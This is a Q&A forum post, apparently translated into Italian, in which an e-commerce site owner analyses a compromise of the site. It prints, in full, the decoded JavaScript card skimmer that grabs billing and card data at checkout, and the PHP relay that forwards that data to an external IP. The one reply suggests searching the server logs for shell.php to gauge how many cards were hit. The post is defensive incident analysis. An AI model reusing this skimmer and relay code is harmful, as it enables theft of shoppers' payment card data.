Comprensione del trucco sul sito di e-commerce

3

Ho bisogno di aiuto per capire questo trucco e forse posso ricavarne più informazioni.

Questo script è stato inserito sul nostro sito Web (magari attraverso una password debole):

eval(atob("string"));

la stringa significa (usando un decodificatore di base 64):

var se = false;
function timedMe() {
    if ((!se) && (document.getElementById('sagepaydirectpro_cc_cid'))) {
        fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
        ci = document.getElementById('billing:city').value;
        s = document.getElementById('billing:region_id');
        st = s.options[s.selectedIndex].text;
        c = document.getElementById('billing:country_id');
        co = c.options[c.selectedIndex].text;
        ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
        zp = document.getElementById('billing:postcode').value;
        t = document.getElementById('sagepaydirectpro_cc_type');
        ct = t.options[t.selectedIndex].text;
        cn = document.getElementById('sagepaydirectpro_cc_number').value;
        cem = document.getElementById('sagepaydirectpro_expiration').value;
        cey = document.getElementById('sagepaydirectpro_expiration_yr').value;
        cvv = document.getElementById('sagepaydirectpro_cc_cid').value;
        if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
            se = true;
            var i = document.createElement('img');
            i.src = 'https://this.is.our.website.url/shell/shell.php?p=132' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
        }
    }
}
setInterval('timedMe()', 700);

E poi in shell/shell.php c'è:

if($_GET['p']){

    $dourl=base64_decode('aHR0cDovLzE5My4xMDQuNDEuMjIwL2wzLnBocD9wPQ==').urlencode($_GET['p']);

    if(function_exists('curl_init')){

        if($ch=curl_init()){

            curl_setopt($ch,CURLOPT_URL,$dourl);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

            if($data=@curl_exec($ch)) $wrt=$data;curl_close($ch);

        }
    }
    else $wrt=@file_get_contents($dourl); 
}

quella stringa viene decodificata in:

http://193.104.41.220/l3.php?p=

Quindi, la mia comprensione è che quando un cliente effettua un pagamento sul nostro sito web:

1) ottiene tutte le informazioni dai campi sagepay

2) fa un controllo per vedere se cn e cvv sono validi

3) crea un'immagine ed è collegata all'URL di tutti i dati della carta di credito

4) lo script php prende quei dati sul loro server ( link ).

La mia domanda :

C'è qualcos'altro che posso scoprire da questi script, come quante carte sono state compromesse, ecc.?

    
posta Claudiu Creanga 27.11.2015 - 21:47
fonte

1 risposta

1

@QuestionOverflow mi ha indirizzato nella giusta direzione. greping i log del server per shell.php mi ha mostrato esattamente quando è iniziato e quante schede sono state colpite.

    
risposta data 30.11.2015 - 15:05
fonte

Leggi altre domande sui tag